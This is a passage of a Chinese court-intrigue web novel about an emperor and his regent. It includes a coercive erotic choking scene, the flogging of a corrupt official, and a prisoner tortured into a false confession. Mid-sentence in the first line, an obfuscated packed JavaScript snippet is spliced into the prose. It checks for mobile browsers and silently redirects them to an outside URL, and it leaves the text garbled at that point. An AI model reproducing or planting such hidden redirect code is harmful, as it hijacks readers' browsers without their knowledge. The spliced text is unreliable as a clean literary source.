“没,没什么!”宋南卿语气渐弱,被他按的额头有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16097932|177511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个红印也毫不在意,捏着沈衡压襟玉佩下面的流苏晃了晃,“那你说想要什么报答嘛。” 除了这江山,他什么都能给;但除了这江山,他又好像什么都没有。 沈衡低头看着自己的衣襟被他拽开了一条缝隙,也没做什么反应,只是语气认真道:“我想要陛下告诉我,下一步,你想做什么。” 玉佩上的手指一僵,宋南卿原本搭在人大腿上摇晃的腿也停止了动作,他垂下的眼帘里挡住了许多翻涌的东西,再抬眼,又已是一片清澈。 冰凉的玉佩沾染了手心的温度,宋南卿拽着那个玉佩借力,一下子坐到了沈衡腿上。他四肢纤细,屁股上的肉倒是不少,坐在人怀里说:“下一步做什么不知道,我从刚刚就想坐这儿了。” 御男十术第五条,当男人问起你刚刚跟谁出去玩、这个月买了第几套首饰、是不是还在想念初恋等等你不想回答也没办法正面回答的问题时,制造肢体接触,到床上去,用身体回答他:“我是你的。” 纯稚的面容像是没有半分作假,宋南卿刚刚晾干的乌发垂在身后,因为动作,有几缕轻轻拂过沈衡鼻尖,搭在了他的肩膀上,要掉不掉。 他侧坐在人怀里,单手挂在沈衡脖子上,二人体温交织,温度越升越高。淡绿色的衣摆和沈衡墨色的袖子叠在一起,像极了屏风上那副花海的配色。 宋南卿一双眼睛生的极好,明亮多情,上挑的眼尾又更添了几分春色。他看向沈衡的左眼,又快速垂下睫毛,眼神扫过人的嘴唇,又缓缓掀起眼皮,眼波流转含情带怯,眼睛一点点往上抬起,黑白分明的眸子像是含了层水又掺杂着说不明的期待和小心,慢慢撩动着人的情绪。 一声清脆的声音响起,那块通透上乘的羊脂玉佩,刚刚被他拽松了,现在坠落到地上,砰地摔成了两半。 沈衡捏住一点他侧腰上的软肉,眸子里全是一派冷静,他带着若有若无的笑讽道:“好像有人在说谎,神降下惩罚了。” 宋南卿脸颊发红,咬住牙根说:“我赔你一个就是了。” 温热的大手摸了摸宋南卿柔软泛红的脸颊,被恼羞成怒的某人咬住了食指不松口。 沈衡勾起手指往里伸了一节,高热湿滑的口腔包裹着手指,却阻挡不住攻势,敏感的上颚被轻轻蹭过,只是一下,瞬间激起的酥麻痒意让宋南卿鸡皮疙瘩都起来了,他抖了抖,缩起脖子要躲,没想到却被沈衡的另一只手攥住了细细的脖颈。 “我是不是告诉过你,别再把这种勾引人的小心思用在我身上。”沈衡盯着他慢慢变得潮湿的眼睛说,“屡教不改,卿卿是觉得我脾气很好,怎么由你玩都不会生气?” 伸到喉口的手指让人不但难以吞咽口水,还会使人干呕。宋南卿的眼眶很快就红起来,泪水盈满。他被攥着脖子动弹不得,发出无声的阵阵干呕,涎水从嘴角两侧控制不住滴落,狼狈又难受到极点想要逃避。 刚刚上颚被摩擦的酥麻还没有散去,和现在的痛苦混在一起,脖子上的手掌力道不至于让他喘不过气,又带来了绝无仅有的被掌控感。宋南卿已经感受不清到底是难受多还是愉悦多,他想哭嘴里塞着东西哭不出声,想逃却被收紧的五指拽了回来。 墨色的衣袖上一滴滴落下的湿痕,已经分不清到底是口水还是泪水。沈衡黑到极致的眼睛在光下透着一点琥珀色,把宋南卿漂亮凌乱又时不时被掐的翻白眼的一张脸尽收眼底。 “你再躲一个试试?” 20、第二十章 第20章 第二十章 你是想让我喂你什么 春日天气变化无常, 上午还是风和日丽,下午就凉风吹起。天色阴了下来,云朵一层层压低, 像是要下雨。 皇帝寝殿, 外室里已经点上了一些灯,内室有皇帝和摄政王在, 没人敢进去打扰他们。 宋南卿抱住卡在自己脖子上的手臂艰难摇头求饶, 眼前男人眸子里的震慑力和压迫感让他汗毛直立。 习惯了和温柔的、惯着他的沈衡相处, 他早就忘了一开始那个血洗皇城的摄政王是什么样子。或者说,他在很早之前就学会怎么和沈衡相处才不会触碰到对方的逆鳞, 说什么话他才会开心, 表现成什么样子对方才会满意愉悦。沈衡要的是一个生动活泼又听话的专属傀儡娃娃,怎么撒娇、怎么认错、怎么展示依赖,他在逐渐长大的过程中已经得心应手。那条界限在哪里, 他一向分的清楚。 但利用爱情这回事, 他没试过, 所以没把握好尺度。 宋南卿大脑缺氧, 脖子上的收紧力道, 口腔深处的手指牢牢占据了他的五感,无法逃脱。 两根手指从湿漉漉的唇瓣间缓慢抽出, 骨节分明的手指上裹着一层晶莹透亮的液体,拉着丝往下滴落。 嫣红的嘴唇和手指之间拉开一条长长的银丝,沈衡把指骨抵在那颗小小翘立的唇珠, 眉眼压低冷声说:“舔干净。” 宋南卿直接哭了出声,边哭边摇头说不要,原本顺滑干净的头发此刻也凌乱了,一小缕碎发被口水打湿, 粘在腮旁边,泪水像断了线的珍珠般滚落。 沈衡轻轻偏头,一只手掌控住他乱摆的头,湿透的手指又凑近了一点,薄唇轻启只吐出一个字:“舔。” 危险的气息很近,从彼此的眼睛里可以明显看见自己的倒影。这些年他们一个装温柔儒雅的可靠帝师,一个装听话懂事的天真皇帝,其实撕开那层包装,内里的野心燃烧和残忍冷情都是一样的。 宋南卿哭的上气不接下气,按理说这种动静,外面服侍的人应该能听到一些,但宫里鸦雀无声,无一人来查看。 濡湿的唇瓣贴着指骨,柔软的舌头只吐出一点,碰到关节处就快速缩了回去。宋南卿被固定在原地,他睫毛尖上挂着可怜的泪珠,下巴到脖颈全是自己刚刚控制不住流出的口水,整个人哭得打哆嗦,脸颊被沾着口水的手指弹了一下。 “还敢吗?”沈衡的声音很沉。 宋南卿拼命摇头,努力想后退和人拉开距离,但他坐在地毯上,前面是沈衡后面是沉重的落地摇椅,想退也无处可逃。 沈衡垂眼拿帕子擦拭着湿掉的手指,问:“该说什么?” 宋南卿大口喘着气,眼角含泪有着逃过一劫的庆幸,看沈衡的眼神也带上了丝丝畏惧。他咬住嘴唇,喉咙深处还有被摸过的奇异触感,一想发声就连带着震颤,又痒又麻。他的嘴唇抖了抖,哽咽道:“对不起……” 他的手指攥在一起,抓住衣摆轻颤,看起来很紧张。 沈衡看他两眼,把脏帕子随手扔在了桌上,“下一步打算对付我,没办法说出口,所以又想这样糊弄过去,你觉得自己的美貌是武器,还是觉得我好色?” 攥在一起的手指抖的更厉害了,宋南卿低着头不敢和人对视。 “下一次遇到这种情景,又想靠这种手段迷惑谁?哪个大臣,将军,还是你哥哥九王。”沈衡抬起他的下巴,语气加重,“我看卿卿这种手段用的一次比一次好了,是不是?” “但你知道如果要得逞,该付出什么代价吗?只是舔个手指就哭成这样。” 沈衡缓缓道:“我不喜欢你不诚实,就算你今天跟我说了,对付完贾良下一个就是我,我只会觉得卿卿长大了,为你欣慰。”他神色认真,声音像是像是高山上生长的松针尖上凝结的雪,“而不是你靠牺牲色相露出那副表情来勾引我。” 宋南卿猛地抬起头,发现沈衡没有在开玩笑。他圆圆的眼睛里闪烁着不一样的光彩,小声问:“真的会为我欣慰吗?” “真的打算好对付我了?”沈衡嘴角微勾看他。 宋南卿意识到自己被诈了,微张着嘴有些气鼓鼓。 沈衡伸手准备扶他起来,但还没碰到人,就引起了宋南卿的条件反射,在意识还没反应过来时,他瑟缩了下往旁边躲。 沈衡动作一顿,轻轻把散落的发丝的替他掖到耳后,露出白嫩的侧脸,然后胳膊一抬把人抱了起来放在自己腿上。 “怕我了?”他低头看着人问。 宋南卿摇摇头,坐在人怀里前后晃了晃脚。 一枚画着五毒图案的白色糕点被送到他嘴边,宋南卿张口咬下,上面蝎子印记只剩下了一个尾巴。端午吃五毒饼是取以毒攻毒之意,祈愿消病消灾。宋南卿一口一口吃的认真,心思却在翻飞。 之前的计划有点行不通了,他一用技巧沈衡就会发现,让他为自己所用的话,还得另想他法。 室内一片静谧,屋外有雨水滴落的声音,一滴滴的雨打在琉璃瓦上,窗外吹来带着凉意的风。一向跟在沈衡身边的竹心踩过一个个小水坑急匆匆跑来,对殿外等候的春见说:“我有要紧事,要禀报摄政王。” 听见外面有人通传的声音,宋南卿推了推给他喂食的手臂,提起衣摆从沈衡身上下来,对春见说让人进来。 沈衡瞥了一眼自己空空如也的怀抱,看向竹心问:“何事?” 竹心隔着一层屏风行了个礼,道:“大人,西北军情来报,雁门关外突然下大雪,将士们本已守住城门许多天,但气温骤降,军中棉衣和御寒之物不顶事,前方传来的信中说,棉衣里的棉花点都点不燃,根本没办法保暖。已经有多人冻死,请求补给支援。” 沈衡眉头一皱,“掌管军用物资的人何在?” “户部任命了贾良大人之侄贾谐掌管军需之物,奴才派人去请,已经在来的路上了。” 外头的雨开始变急,宫中一条偏僻的小路上,贾谐冒着雨快步疾行往皇宫中心的方向去,“你说陛下突然召我所为何事?还那么着急。” 旁边的宫人应道:“大概是想奖赏您吧,这不端午快到了,您平时做事做得好,陛下肯定看在眼里。” 贾谐心虚地摸了摸鼻子上的雨水,心想别说什么奖赏了,只别是什么祸事就好。前几个月贾良刚把他调去掌管军需,这可是个捞油水的好差事,为表忠心他可是好好孝敬了一笔,至于银子何来当然是羊毛出在羊身上。军队去西北打仗,这都四五月的天了用得着什么棉衣和御寒之物,带上就是为了形式,所以他偷偷换成了最次的那一批,又用不上想来也不会有人发现。而且军队那些人苦日子过惯了,懂得什么是好什么是差,最好糊弄不过了。 再者,他还有贾良这个后盾,谁敢说他的不是。前阵子听说陛下还夸了贾良大人品行高洁,为寒门子弟开设学堂。京中那一批高官子弟被严惩,就只有贾大人独善其身,还得是他们贾家人最得圣心。 想到这儿,贾谐挺直了腰板,大步朝前走去。 殿内,宋南卿看着竹心报上来的军情,眉头紧锁。本来苦守城门已是不易,胡地天气变化多端,连八月飞雪的异况都有,这时候还遭受背刺,在物资上被拖后腿,实在是让将士们寒心,士气如果低下去,才是最可怕的。 “贾良顺手牵羊拿走我的珐琅匣子,贾谐偷梁换柱以次充好扰乱军情,他们贾家人还真是一脉相承。”宋南卿把茶杯重重放下。 “贾良气盛,无人敢得罪他,要不是怕城门失守无法交差,军中也不敢把实情如实上报。”沈衡说,“千里之堤溃于蚁穴,一个贪心小人足以使大盛丢失一座城,朝廷的蛀虫还是太多了。” 滴滴答答的雨声变得急促起来,宋南卿望向沈衡道:“先生想怎么处置他?” “军法处置,庭杖五十,不然何以告慰那些冻死的将士。”沈衡语气很冷。 大殿门前,贾谐还未出声行礼,就被堵住了嘴放倒在板凳上,两个侍卫一人举着一个重重的棍子一下下打在他的身上,剧烈倾泻的雨水冲淡了地上的血迹,也冲淡了他的叫声,开始人还能挣扎两下,渐渐也没了声音。 宋南卿瞥了窗外一眼,回头跟春见说:“等雨停了,让人把那块儿好好清理清理。” 沈衡在一旁道:“又嫌脏?” “我总感觉能闻到味儿,春见把香也点上吧。”宋南卿指挥道。 角落里的错金夔龙纹铜香炉升起淡淡的烟雾,一缕白烟袅袅升起,宋南卿在交代军需物资补给的事,沈衡拨了拨那盒香粉,说:“能闻到我身上的吗?” 宋南卿抬头问:“你今天杀了人来的?” 他才反应过来,“那你刚刚还喂我吃东西,有没有好好洗过手啊!” 黑云压低,贾谐被抬了下去,只剩浅红的一点点血迹随着雨水流淌成一条蜿蜒的直线,天空闪过一道刺眼的闪电照亮了这片阴暗,须臾间,轰隆隆的雷声铺天盖地,像是劈在人心尖上。 宋南卿听见雷声忍不住猛地瑟缩,快走几步跑到香炉前的沈衡身边,伸手拉住了他的胳膊。扬起的发丝穿过氤氲弥漫的香雾,染上了香炉里的味道,又垂落胸前。 每一道雷声落下,他抱住人胳膊的手都会攥得更紧一点,胸前轮廓剧烈起伏,刚洗好的发丝随着摇晃。 那一夜,二皇子逼宫那一夜,他被扔到枯井中和尸体作伴的那一夜,也是这样大的雨,这样震耳欲聋的雷。 整个井里只有他一个活人,雨水血水都充满了难闻的腥味,坐在井里看天空,每一次雷劈下来,他都觉得会劈在自己头上,每一次闪电亮起,他都看得清楚身边的尸山是多么可怖的模样,甚至脚边的头颅就是他昨天刚说过话的人。 陷入回忆中,宋南卿抖的厉害,雷声像是又激活了什么东西。他两眼直直看着前方,心中只有一个念头。 活下去。 登上了皇帝宝座如果再被拽下去,他想象得到那个场面,会比那一夜惨一千倍,一定不可以。这些想要夺权的人,想要控制他的人,豺狼虎豹,一定要先一步死。 宋南卿喘息急促,浑身发抖脸色苍白,眼里有明显的红血丝。 忽然,温暖的手心覆盖住了他的双耳,把震耳欲聋的雷声阻挡在了外面。不算柔软的刺绣贴在脸上,宋南卿仰头看去。 沈衡还是那副平常的模样,抬起双手捂住了他的耳朵,他被包围在了那双手臂里。 雷声减小,清醒的神智也慢慢恢复,宋南卿仔细辨别沈衡的嘴唇形状,发现他在对自己说: 没事,别怕。 跟那一夜拉他出井时一样的话。 ———— 端午祭神结束,郗家迎来送往,贾良府上倒是没有之前那么热闹。这日,贾良入宫觐见,带了游神仪式请的水神雕像献给皇帝。 宋南卿坐在书房上座,面前的桌子上堆了很多凌乱的奏折,他身后挂了一副摄政王劝勉他勤政的骈文,字的风骨苍劲有力,一撇一捺尽显潇洒不羁。 狼毫毛笔被握在手里旋转,宋南卿抬眼看向贾良道:“多谢舅舅,这个雕像朕很喜欢。” 贾良站起身又行了一礼,宋南卿不悦道:“舅舅是亲人,不必如此多礼。” 贾良再开口语气已经带上了一丝苍凉,“陛下,今日老臣来,还有一事。前几日臣弟来访告知老臣,他的儿子贾谐在宫中被罚板子,现在下半身已经不能动弹,余生只能在床上度过了。臣弟只有这一个儿子,不知摄政王是因为何事处以如此极刑。” 宋南卿的眼神越过砚台,放在了贾良身上,语气无波:“摄政王做事自有他的道理。” “陛下,事是摄政王做的,但残暴不仁之名却是要您来担啊。”贾良语重心长,似是很为宋南卿着想。 “舅舅何出此言。”宋南卿往后靠在椅子上,手指盘着佛珠手串问。 贾良一副忠心耿耿的模样,“之前您下旨让双头牛一事涉事官员子弟不能科考,着实伤了各位大臣们的心,现在是用人之际,新科考试本就是为了陛下选拔可用之人,这样一来您在朝中没了可信任的人,真的就成了摄政王的一言堂。臣是为您忧心。” 从侧窗照进来的一束阳光下,细小灰尘在空中起舞,贾良正坐在那束光的后面,让人看不清面容。 宋南卿轻叹一口气说:“舅舅以为,双头牛传言到底是谁搞出来的,那日那群世家子弟还搞不出那么大名堂。”他的头发半束起,随着年岁增长,原本鼓鼓圆润的脸颊肉也没了之前那么饱满,有了青年人的棱角。 贾良沉默了片刻,握住太师椅的把手说:“陛下是怀疑臣?”像那群不明事理的愚蠢人一样,觉得他眼皮子那么浅,为了科考名额为了树立好形象,与那群世族割席。 宋南卿轻轻歪头看他,道:“不是舅舅,就是摄政王,朕不知道该相信谁。” 轻轻柔柔的话语却是在贾良心尖上落下重重一道痕迹。他起身弯腰,又行一礼,“陛下明鉴,这件事表面上对臣有好处,实则是让大臣们和臣离心,真正受益者另有其人。摄政王心思深沉,贾谐那孩子也是因为被我连累,才被下那么重的手。恕臣猜测,西北军差点丢失城池,责任在沈衡,此时拉贾谐实为顶罪。” “贾氏一族是依附陛下,更是陛下亲人,分裂天下的谣言于臣没有半分好处,而摄政王却是真真实实可以有这个图谋和本事的。”贾良越说越在心底肯定了,双头牛一事就是摄政王做的,把这事推到自己身上,既动摇宋氏江山又损害贾家地位,而且还能拉近他和皇帝的关系,一箭三雕。 宋南卿抬了抬手说:“舅舅坐。” “摄政王不除,于江山、于社稷都是威胁,陛下不能被他蒙蔽啊!”贾良字字坚定。 桌上摆的宣纸上是宋南卿刚刚写好的字,黑色楷书潇洒不羁,从结构到风骨,都跟背后挂的那篇骈文一脉相承。他手中的狼毫毛笔墨汁未干,此刻被搁置在了砚台上。 宋南卿一甩袖子问:“你觉得该当如何?” 贾良满脸诚恳:“臣以为第一步,是收回惩罚成命,不能让氏族大臣寒心。” 宋南卿轻笑了一声:“追究到底罪魁祸首是谁且不论,但这不意味着他们就没犯错。况且摄政王下的命令,哪有朕收回成命的道理?” “陛下……” “王潜前些日子在狱中死了,你知道这事吗?”宋南卿抬眼问道,换了个话题。 贾良露出了惊讶的表情,忙回答:“臣未曾听说……只是寻花问柳关入狱中,怎么会…?” 王潜知道他太多秘密,自他进去,自己就没睡过一天安生觉,不过好在他的家人都在自己手中,都是一条绳上的蚂蚱,想来也不会多嘴说出什么。但对这个跟了自己很久的下属,贾良虽然残忍但也没想置他于死地。 宋南卿缓缓道:“他死前签了认罪书,承认自己贪污受贿,说自己一人做事一人当,无脸面对朝廷,畏罪自裁了。” 贾良陷入沉默。这样一个无利不起早的人,怎么可能会畏罪自裁。这样一来,大家更会觉得是他过河拆桥强迫王潜自己认下罪来,好明哲保身了吧,怪不得端午那日,那些同僚不来贾府游神。 怎么短短一个月,事情就发展到这个地步了。 宋南卿瞥了一眼贾良的脸,道:“朕要是怀疑你,今日就不会与你说这些。舅舅,紫禁城里凶险万分,你我都得善自珍重。” 望着贾良离去的背影,宋南卿抬着手指把佛珠转了一圈,然后重新拿起笔来沾着未干的墨水写了几个字。 “春见,朕今日这字写的好,给我挂起来。”宋南卿拎起纸来吹了吹,笑得眼睛弯弯。 ———— “朕最近在练字,听闻姚卿一手草书写的不错,可否写与朕瞧瞧。” 这日上朝后,京兆府尹姚顺被留下来,照例禀报京城及周边地区的安全情况。因为上次双头牛一事,姚顺谨小慎微,说了一些自己加强防范的举措,并且上报说,那日春日祭礼陛下随手在麦田播种的种子,已经长得比周围都要好,实在是老天庇佑福泽深厚。 宋南卿对他的奉承没放在心上,而是说想瞧他的字。 皇帝要看他的字,可是莫大荣幸,而且既然那么说了,就是没把上次的事放在心上。姚顺长舒一口气,来到书桌前提起笔来。 窗外花影蹁跹,映在窗户纸上随风不止,宋南卿来到窗边轻轻把开了一条缝的窗户关上。 屋外突然传来异动,魏进在门口禀报道:“陛下,出事了。” 姚顺手中的笔在宣纸上落下一个墨点。 据魏进所说,今早有个偏僻宫殿起火,他带着仪鸾司去探查事宜,在宫里长街上恰巧撞见一名也是侍卫打扮的人,因为事情急,所以多一个人多一个帮手,他就喊住那名侍卫要他快点一起帮忙。 没想到那人一听声音溜着街边就要跑,他觉察出不对劲,叫人拿下。 仪鸾司侍卫他不说都相熟,但起码打过照面,来人眼生的很,而且一看他那个畏畏缩缩的样子,也不像是正经侍卫。这么一个来路不明的人,竟然不知何时混进了宫里,实在是令人毛骨悚然。 “不是宫里人?进到长街要过三重门,他是怎么做到的?飞檐走壁?”宋南卿也觉得匪夷所思。 魏进说:“宫门一向是禁军把守,就是奴才出宫办完事回来,也要经过好一番探查,今日这事属实奇怪。” 宋南卿眉头微皱,然后把目光转移到没说话的人身上,“姚顺,适才不是跟朕说,京中安保已经加强防范了吗?” 姚顺默默流汗,这禁军的事都是摄政王管的,关他一个小官什么事,但面上又不能流露出来,只能说:“微臣知罪。” “这人是京中人,交于京兆府审会比交大理寺更方便些,且大理寺卿身子一直没有好转。姚顺,朕给你一个证明自己的机会,和大理寺一同查办。” 这个凭一己之力闯过禁军重重把守宫门的人,一时在宫中人尽皆知,很多人都说谣言不可信,怎么会有人有这种胆子和能力,再说了,他进来是想做什么呢? 御史台正使陈立文说他在贾府好像见过此人,说不定是不满陛下严惩了贾谐,想伺机报复。 贾良立刻站出来说绝无此事,他请求加入调查证明自己的清白,宋南卿允了。 大理寺狱中,贾良独自一人站在刑具前,望着被绑在上面人说:“如果你听我的,我保证让你活着走出去,并白银千两,给你找个远离京城的地方好好度过余生,你的妻子还在家里等你。” 那人已经满脸是血,一只眼睛几乎看不见。姚顺不知从什么地方也溜了进来,拿出怀里揣着的短刀,对这人道:“如果再不认罪,将你移交仪鸾司,他们那群人什么手段你肯定屡有耳闻,到那时候可不是你想说话就能说得出话的。” “那群人也没有我们的好脾气,还给你安排脱身后路,到时候受尽折磨也难逃一死,怎么选,全看你。” 充满血腥气又阴暗的狱中,贾良的胡子抖了抖,一双眼睛在昏暗的光线下变成了三角眼,但说话还是那个为你好的样子。 见人态度有松动,姚顺把短刀扔在他身上,拉开随手带的画像贴近他的脸说:“摄政王派你来谋害陛下,这是摄政王,这是他身边的侍卫竹心,到时候就按我说的那么认罪,说提前和禁军串通好了所以能进大门,听明白了吗?” 生锈的烛台上摆着昏暗摇晃的烛火,那人艰难抬起眼皮往画像上的人看,只觉得第一个人的眼睛像是蛇一样,微微下三白透过薄薄的画纸死死盯着自己。 ………… 大理寺连同京兆府调查此事件正如火如荼,这个时节,御花园里的花开的正好,宋南卿漫步在绣球园里,在一个石凳上坐下,闻着淡淡花香,低头看贺西洲给他传来的信。 贺西洲周游东瀛,给他写下了许多见闻,说东瀛正在内乱,不日他将启程回来,信封里还装了几片风干的花瓣,和花种子,说是东瀛特有的品种。 宋南卿手指一顿,拿出压平的干花对着阳光看。粉白的花瓣已经干了水分,闻起来还有不一样的香气,青涩的、淡淡的,带着枝头绿意与绽开的芬芳。他把花收进信封,看着信里说的内战情况,抬手叫来春见吩咐了什么。 绣球园里的花开的正好,宋南卿抬手折了几支,准备让人插瓶。 春见却附到他耳边悄悄说了几句话,宋南卿慢慢眯起眼睛。 ———— 入夜,一队侍卫包围了沈衡所在的宫殿,弯弯的月光皎洁,照在手中长剑上,反射出刺眼的剑光。 沈衡整理完手册准备出宫,门一推开,一左一右两柄剑成交叉状把他拦在了里面。衣角随风飘荡,他脸色不变,平静对着领头的侍卫道:“这是何意?” 魏进轻轻一点头,“摄政王大人,今日有一嫌犯携带短刀闯入宫中图谋不轨,刚刚在狱中招认是受您指使意图谋害陛下,在事情水落石出之前,您不能出重华宫。” “谁的命令?” “陛下的命令。” 沈衡的眼睛在月光照耀下显现出了一种淡淡的琥珀色,不像是人类而像是某种动物,他扫了一眼左右的侍卫,转身推门回到了殿内。 月上中天,宋南卿一袭白色云锦衣袍缓缓至重华宫前,仪鸾司接手大理寺在探查案件真伪,魏进不在。他屏退左右侍从,一个人推开了眼前的那扇大门。 春见紧张道:“陛下……您一个人太危险了。” 毕竟里面那个人,刚刚被指认暗害皇帝图谋不轨,这个时候单枪匹马进去,是不是太冒险。 宋南卿摇了摇头,坚持一个人进了重华宫。 里面桌上放着一盏青釉雕花孔雀型瓷灯,不算明亮的光只照亮了桌子周围的区域,沈衡姿态依然放松,端坐于桌前低头看书,好像他不是被禁足在这里,而是自愿选择留在这里。 听到门开的声音,沈衡抬头看去。门外天空上一轮明月映衬着深蓝色的天,宋南卿穿着一尘不染的纯白色衣服悄然而至,衣领袖口的银色蝴蝶振翅仿佛真的要起飞。 “吱呀”一声,门被合上,宋南卿缓慢踱步来到桌前,单手撑住桌面倚靠在上面,低头看向沈衡面前的书。是一本兵法,他不太感兴趣地挪开眼神。 青釉瓷灯笼罩下的光泛着莹莹的淡绿色,映在沈衡的眼睛里,更添一抹冷色。他被宋南卿挡住了光,慢慢抬起头,黑幽幽又发绿的瞳孔盯住眼前人。 宋南卿心跳加快了一瞬,刚想离远点,就被攥住了手腕。 “怎么弄的?”沈衡看着桌上的手,关节处有些微擦伤,他翻过来后,发现手心处被磨破了皮,伤的更严重。本来柔嫩的手,一点点伤口就看起来触目惊心,磨破的位置渗出了点点红血丝。 沈衡起身去后面柜子里找药膏,宋南卿轻抿了下唇说:“我没事……就是今天练射箭磨到了,他们说练武都有这个过程,等茧子磨出来了之后就好了。” 抽屉关闭的声音很大,不知道是不是因为这个地方太过幽静,重华宫被围起来之后,就没有人服侍了,宫人大多也都绕着走,静的吓人。 沈衡身量很高,站起来的时候,影子完全把宋南卿笼罩其中,不等拒绝,他就拉过宋南卿的手,拿着玉质小药勺,挖出药膏来一点点涂抹在伤处。 嫩红色的生肉露出来一点,被药膏覆盖住的时候,宋南卿忍不住“嘶”了一声,手腕抖着想往回缩,但被紧紧握住动弹不得。他的手腕太细了,两根手指就能圈完全,还空了一大块。青黛色的血管透过手腕内侧薄薄的皮肤,可以被看得出跳动的频率。 沈衡极有耐心地一点点涂抹,动作轻柔,抽空看了一眼宋南卿道:“身边跟着的人怎么做事的,伤成这样也不处理。” 宋南卿垂下睫毛小声说:“不想让他们觉得我太矫情,况且…不习惯别人碰我。” 平时穿穿外衣鞋子他还能忍受,但肌肤被碰到他会觉得很膈应,或冷或热的皮肤触碰到,总会让他想起冷的尸体、热的鲜血,被已经冰凉或者还有余温的尸体包围,是他无法忘记也再也不愿想起的记忆。 握在手腕上的手指力道没松开半分,沈衡对他的伤口轻吹了口气,意味不明道:“卿卿长大了,不愿意再被当小孩子对待也正常。” 桌上的手指微微蜷起,宋南卿不语。 “怎么突然想起来练射箭,还那么用功,今天是谁教的你?” “忘了是谁教的,随便找了一个看起来厉害的。”宋南卿觉得握在手腕上的那只手太热,轻推了一把,接着说,“我突然觉得,还是要有自己保命的手段好,不然危险来了,靠谁也靠不住。” 沈衡抓住了那只推拒的手,这下子两只手都被他控制住了,他贴近了几分看向宋南卿的眼睛问:“陛下说的危险是指,像今日这般闯进宫里来的来路不明之人?” 还是说到这件事了,宋南卿这次没有躲避对视,目光清正,“是。” 烛火晃动,一缕发丝从背后滑到了肩膀处,在不算明亮的灯下,宋南卿的眼睛里像是有火苗在燃烧。 “我不知道先生是什么意思,也不知道该相信谁,只能求自保。” 他之前一直没有正经习武,一是因为登基稳定政局后已经错失了学武功的最佳年纪;二是因为他每日和沈衡同床共枕,如果学了武功会让对方警惕,不利于他营造自己无辜脆弱的形象;三是满朝文武,没有一个人提出过陛下应该练武强身这件事。 最重要的原因其实是,沈衡没打算教他,别人自然也不敢教他。 沈衡定定看着他,眼睛一眯,“你真觉得那个人是我设计来杀你的?” 宋南卿翻过手心举到脸前吹了吹,说:“不知道,我向来猜不透先生的心思。” 他的脸被沈衡左右捏住抬起,对方声音压低道:“我要是真想杀你,早就杀了,用不着费力气把你养到那么大,如此大费周章。” “结果为证,不浪费时间听辩解,这是先生教我的。”宋南卿仰着脸,因为脸颊肉被朝里捏起,说话有些含糊不清。 沈衡突然笑了,斜斜勾起的嘴角有种惑人的意味,他抬起食指在宋南卿脸上轻扣,道:“真是长大了,我们卿卿。” 宋南卿今天倒也不怕他,毕竟是沈衡之前自己说的,就算下一步要对付他,也没关系,而且今天自己既没有昧着良心说话,也没有靠牺牲色相勾引他。 “在仪鸾司审出结果之前,要委屈先生先住这儿了。”宋南卿歪了歪头,脸颊肉在人手心挤出一个细微的弧度,他用那张可爱无害的脸说,“我当然是相信先生的,只是宫中那么多双眼睛看着,必须得有实际结果才能为先生洗脱罪名,光靠我信可不够。” 沈衡捏了几下他柔软的脸颊,语气轻柔道:“其实只要你信就够了,卿卿说是不是?” 饱含深意的话和充满意味的眼神,宋南卿只当看不到。他的脸小,这样被捏起来显得更圆了,看起来毫无震慑力。 他一把拍开沈衡的手,刚瞪圆了眼睛想说什么,没想到刚刚涂完药膏的伤口被碰到,疼痛加倍。 宋南卿咧开嘴发出痛呼,尖尖的牙齿露在外面,对着手掌疼痛处吹了几口气,眼眶泛红。 沈衡捞起他的手看了两眼,道:“别再乱动了,照你这个架势半月也好不了。” “如果不是先生捏我的脸,我根本就不会动手,都怪你。”宋南卿沉着脸谴责道,往左移动了几步坐在了最边角的位置,小声嘟嘟囔囔,“连坐下腿都不让坐,还随随便便捏我,哪有这样的道理。” 他是皇帝哎,哪有皇帝随便让人捏脸的,一点都不威武! 沈衡转头看蜷缩在角落的那一小团人,挑唇问:“天还未黑透时做了绿豆糕,要不要尝尝?” 听到绿豆糕三个字,宋南卿的眼睛亮了亮,但依然压下嘴角说:“这里就你一个人,既然做了就帮你吃点好了,不然放到明天就不新鲜了。” 青花瓷碟里装了几块摆放整齐的绿豆糕,大小统一,连摆放角度都分毫不差。凑得稍微近一些,就能闻到醇香清新的香气,宋南卿伸出手,顿了顿又把手缩了回去,眼巴巴望着沈衡道:“手上有药膏,拿不了。” “所以?”沈衡等着他下文。 “……喂我一下嘛。”宋南卿趴在桌前盯着最近的一块绿豆糕,眼睛眨都不眨。 沈衡捏起一块来,在宋南卿的注视下放进了自己嘴里,“既然长大了,就要学会自己的事情自己做。”他的下颌线锋利流畅,吞咽时凸起的喉结上下一动,在薄薄的皮肤下很明显。 宋南卿盯着那处,不自觉也咽了下口水。伸出脚抵住沈衡的鞋尖,膝盖贴在人腿上轻晃,放软声音道:“没有长大,卿卿还是小孩子呢。” 沈衡垂眸,把手搭在了自己大腿上,指间还捏着咬了半口的绿豆糕。 晚风从窗户缝隙钻进来,不冷不热,吹拂起了鬓边发丝。宋南卿看了他两眼,俯下身一口咬住那块绿豆糕,就在他得意地勾起嘴角嚼着香甜美味时,身形一个不稳就要栽倒。 他本来用手撑住就没事的,但偏偏手受了伤不好用,沈衡又没有扶他的意思,他整个人往前一倒,脸直接贴在了沈衡大腿中间的位置。 柔软的衣料,硌人的腰间玉带,还有…… “你是想让我喂你什么?”低沉的声音从头顶不轻不重响起。 “轰——”的一下,原本白皙的脸瞬间变得红彤彤,宋南卿顾不上手受不受伤了,他连滚带爬从人腿上起来,装作很忙地又弄头发又看窗外风景,过了半天才憋出一句:“我这次真不是故意的……” “我真的没有……”他脸红的已经发热,窗边的风根本消散不了他脸上的热气,整个人像是放在太阳底下晒了一个时辰般,又脸红又出汗,低着头把自己埋在了身后的靠枕缝隙里,简直不知道怎么是好。 沈衡托住头把他了转过来,“行了,我知道,别把自己闷着了。” 是不是故意他当然看得出来。 